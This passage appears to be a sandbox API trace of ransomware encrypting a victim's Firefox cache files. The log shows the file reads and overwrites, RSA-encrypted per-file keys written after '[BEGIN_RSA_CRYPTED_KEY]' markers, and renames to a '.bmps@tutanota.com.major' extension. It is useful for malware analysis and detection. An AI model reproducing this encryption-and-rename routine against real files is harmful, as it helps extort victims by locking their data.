lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\698AC159A6BCBA0D13FE6F10F1A38E498F826F33.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\698ac159a6bcba0d13fe6f10f1a38e498f826f33.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.004] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6730E7D38947125CF79CAEB391A7C2548F883DD9", dwFileAttributes=0x80) returned 1 [0267.004] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0267.161] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.162] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0267.163] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe01 [0267.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.163] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9kzsMgNC+zp5GZmDkyXDYWJw+ccYdOcrCH25yfo7FHEAljOUpPlkySWkapHYOPZK\nfMGoAP9vEQKgyMnHoIMnK6Fcsb+CuMrTQNUk44N7O8J/C+RubkJ6YxtUrSPlLc4p\n27PSAn9qJcTcU0Ux28j8su8cX0PGxWocBWE16LrTo6+cNQ79Qm62PeI/8jZZFmTp\nc+1qlzAl7BmFm/16gGi/mP2jpH8jRCr5CWopSKVgN6Yq4UuA45OsCENsbDzsL18L\nvWbxiQ9miRociF15Oq3yEgAarFG7C3c0YPwZA7f3TUfF7Cac6I0iBFNwYedrFrBK\nFAxquUq0YvygAJm0vlbSjg==\n", pcchString=0x2e3f9a8) returned 1 [0267.164] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.164] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.164] CloseHandle (hObject=0x1b84) returned 1 [0267.165] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6730E7D38947125CF79CAEB391A7C2548F883DD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6730e7d38947125cf79caeb391a7c2548f883dd9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6730E7D38947125CF79CAEB391A7C2548F883DD9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6730e7d38947125cf79caeb391a7c2548f883dd9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.167] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.167] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\644E400521E4BFD78E4063E539A97F0C19A5EF01", dwFileAttributes=0x80) returned 1 [0267.167] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0267.254] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.254] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0267.255] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0267.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.255] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.256] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.256] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.257] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.257] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pcSwUquK6FMdmcq0Mdk67rXGR/BssCSk5YHcNqqpRMBLbuN+FcO1o/jLXOf7LyHL\nf9nts47BXALx1IUeuv92nsBnO3rsn45G84FwwTJY0hW9+Rm/T0SdCDsCcIQJxlWb\nqjcW6C2BWKho8WHPloEkE1Xnehr5tFsYUhMfwOnn98l/NvtyG0FA0dPkmHncj2ww\nc9ZARsua5rLYWLpULvGDbyB2gdSmTnwCygRRWXodAKj2IDkEdfmyQ8HEKZlG41PD\nsSa4RPSZyGwkgHnmqmyLusXlQI6+E14qbvP3X4c5Bfp32B3PICnQUEbEwPxg19aF\nKCa14pym5pIbUjqgSHd2Tw==\n", pcchString=0x2e3f9a8) returned 1 [0267.257] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.257] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.257] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.258] CloseHandle (hObject=0x1b84) returned 1 [0267.258] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\644E400521E4BFD78E4063E539A97F0C19A5EF01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\644e400521e4bfd78e4063e539a97f0c19a5ef01"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\644E400521E4BFD78E4063E539A97F0C19A5EF01.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\644e400521e4bfd78e4063e539a97f0c19a5ef01.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.261] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.261] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1", dwFileAttributes=0x80) returned 1 [0267.262] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x107e, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.263] WriteFile (in: hFile=0x1b84, lpBuffer=0x343c8a8*, nNumberOfBytesToWrite=0x107e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343c8a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x107e, lpOverlapped=0x0) returned 1 [0267.264] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x107e [0267.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.264] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PkN1lUID2qqZnNBwhVQAjHUBPo4gM1WKdA7BHNsCgYby2Tmb1KFG4gMFprI0yGJX\nWKgcRaOVwprkuc1GCmXH2p+L8TzyKXq0XXtAHTNzajGW/7M98TqYVz1WXCOEq2ws\nNEOiVTK+DPYrFOh6lLOKanNYJfPNJVmgU0y7PVCMXlxFZnnETmk/jbYmGJ6y7Xg9\n+OOh0aZa8UsVC47ngQpZQ94rX2vW7XNbgmxlepTxY1/zDwjRBVdZRqo1wSW/qBQh\nkZaZGiPqrc5eqHbE4kgXye91jOEBKAFP4QILcgsLy59gTuKl5HQgjYf9ZGxCpT73\nHCssxJXDwY1Btm0fP/qupg==\n", pcchString=0x2e3f9a8) returned 1 [0267.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.266] CloseHandle (hObject=0x1b84) returned 1 [0267.266] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\63f48f4f7f1bc3195f5ab831f9794f3dba2d30e1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\63f48f4f7f1bc3195f5ab831f9794f3dba2d30e1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.313] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63ACFE8698FC61908B016C5D661F8E6F430E32B6", dwFileAttributes=0x80) returned 1 [0267.314] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa54, lpOverlapped=0x0) returned 1 [0267.428] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.428] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa54, lpOverlapped=0x0) returned 1 [0267.429] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa54 [0267.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.429] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2zve5mmdGHTi9pVheMz4MYyY7nJuOEE60qFqcA4OraUaBT1+p6NiwGQ5Oc0t+AIl\n3iAKb1/Opxd2e5Jk/b3Fn3SED9ufJUR7WeSpFMB00cOipnNgbgOERZCpO9k/UzxG\ngf+LsDhFfBBN1ArrWa1WQfWx1vnwSh3h7ClBkFil+eTIyF4gVIvrs/IO+5fELzGa\n8biPBxRB9o9L2aMu3YDLF3+wKcAK02NG9q/FoqpNYE/Rb5Rr0L/lVS9jYWmUdzp7\n5KshZr5k9/U0v7G4ZbXz2PLgi6FD4USNU3c17FwiJdcpuPzhdpN1D6ecplll97aV\nMTLabz8CS454FROIeLqitg==\n", pcchString=0x2e3f9a8) returned 1 [0267.431] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.431] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.432] CloseHandle (hObject=0x1b84) returned 1 [0267.432] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63ACFE8698FC61908B016C5D661F8E6F430E32B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\63acfe8698fc61908b016c5d661f8e6f430e32b6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63ACFE8698FC61908B016C5D661F8E6F430E32B6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\63acfe8698fc61908b016c5d661f8e6f430e32b6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.434] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\635EAE5D2B518F168607E2A8D67845079C2A7DF0", dwFileAttributes=0x80) returned 1 [0267.435] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x1abb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x1abb, lpOverlapped=0x0) returned 1 [0267.683] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.683] WriteFile (in: hFile=0x1b84, lpBuffer=0x343d2e8*, nNumberOfBytesToWrite=0x1abb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d2e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1abb, lpOverlapped=0x0) returned 1 [0267.684] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1abb [0267.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.684] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="08V13mjTp+qsiVqd2kWMkiISPIcbe5kP667H+jX0N39zYwzjJv41Y0ajxc7zyqhz\nN6LT6aKdaI+706qIcISbE/LKZ/EG4m4+ygg++99qQnY2y7p44/S49s28QLLYD5TN\nAPskylqAYY8RJjAihHmiyvqqZg5RJwyJGuqHzLfZyfp41fJaimFRAq/OvuXbfIzJ\nijvUSjKTKpT5lA9ABLKvPgT457W1EpIRxjppskX+eSMpcmMX8M4xPKc36ElmJcXk\n+WgxaFaswe62yR0xIp0BJW2SuK2qzrN7E+eV+MiNnOtpxRC/bhuaufPnL1/oJDO9\n15vQFQsqWnpyHega/wgsPA==\n", pcchString=0x2e3f9a8) returned 1 [0267.685] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.685] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.686] CloseHandle (hObject=0x1b84) returned 1 [0267.686] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\635EAE5D2B518F168607E2A8D67845079C2A7DF0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\635eae5d2b518f168607e2a8d67845079c2a7df0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\635EAE5D2B518F168607E2A8D67845079C2A7DF0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\635eae5d2b518f168607e2a8d67845079c2a7df0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0267.689] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0267.689] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\62326019F9C99B9A93D51B48A1F63BC2D075A6B9", dwFileAttributes=0x80) returned 1 [0267.689] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x2eab, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x2eab, lpOverlapped=0x0) returned 1 [0268.025] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.025] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e6d8*, nNumberOfBytesToWrite=0x2eab, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e6d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2eab, lpOverlapped=0x0) returned 1 [0268.026] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2eab [0268.026] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0268.026] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0268.026] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0268.026] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0268.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0268.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="okDc6k/ZP5FOzqgOZ8ef0+zNT98Jr91mfvdcuugP9d65fi2O7FtV+72Km0yu6N3I\n8k9buhnyj87WIJi1Vjf+1J+Vzws7uzMAJb8HgcGF2RQrDfTwdGNE+HQKooGUedLt\n4+CVHfjD7eMlbrXlBp8Olz1ZSxBMKx2T8IUh8+356WIMKQWtw6J2gN9kaClbWkgd\na+rR50HhVf4Wh89FpK86EU++FAlwJk8wnMdsGXGFrTViy91AVFnxjohgcHrRv5cF\nRwRTQGhINt5ctYw/r3Qc/9fZedazV0yypc048w6zN79gxlZg2IubXq2BxzkMwY2O\nMqdgB+q47unkqsGxGDk8Vw==\n", pcchString=0x2e3f9a8) returned 1 [0268.027] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, 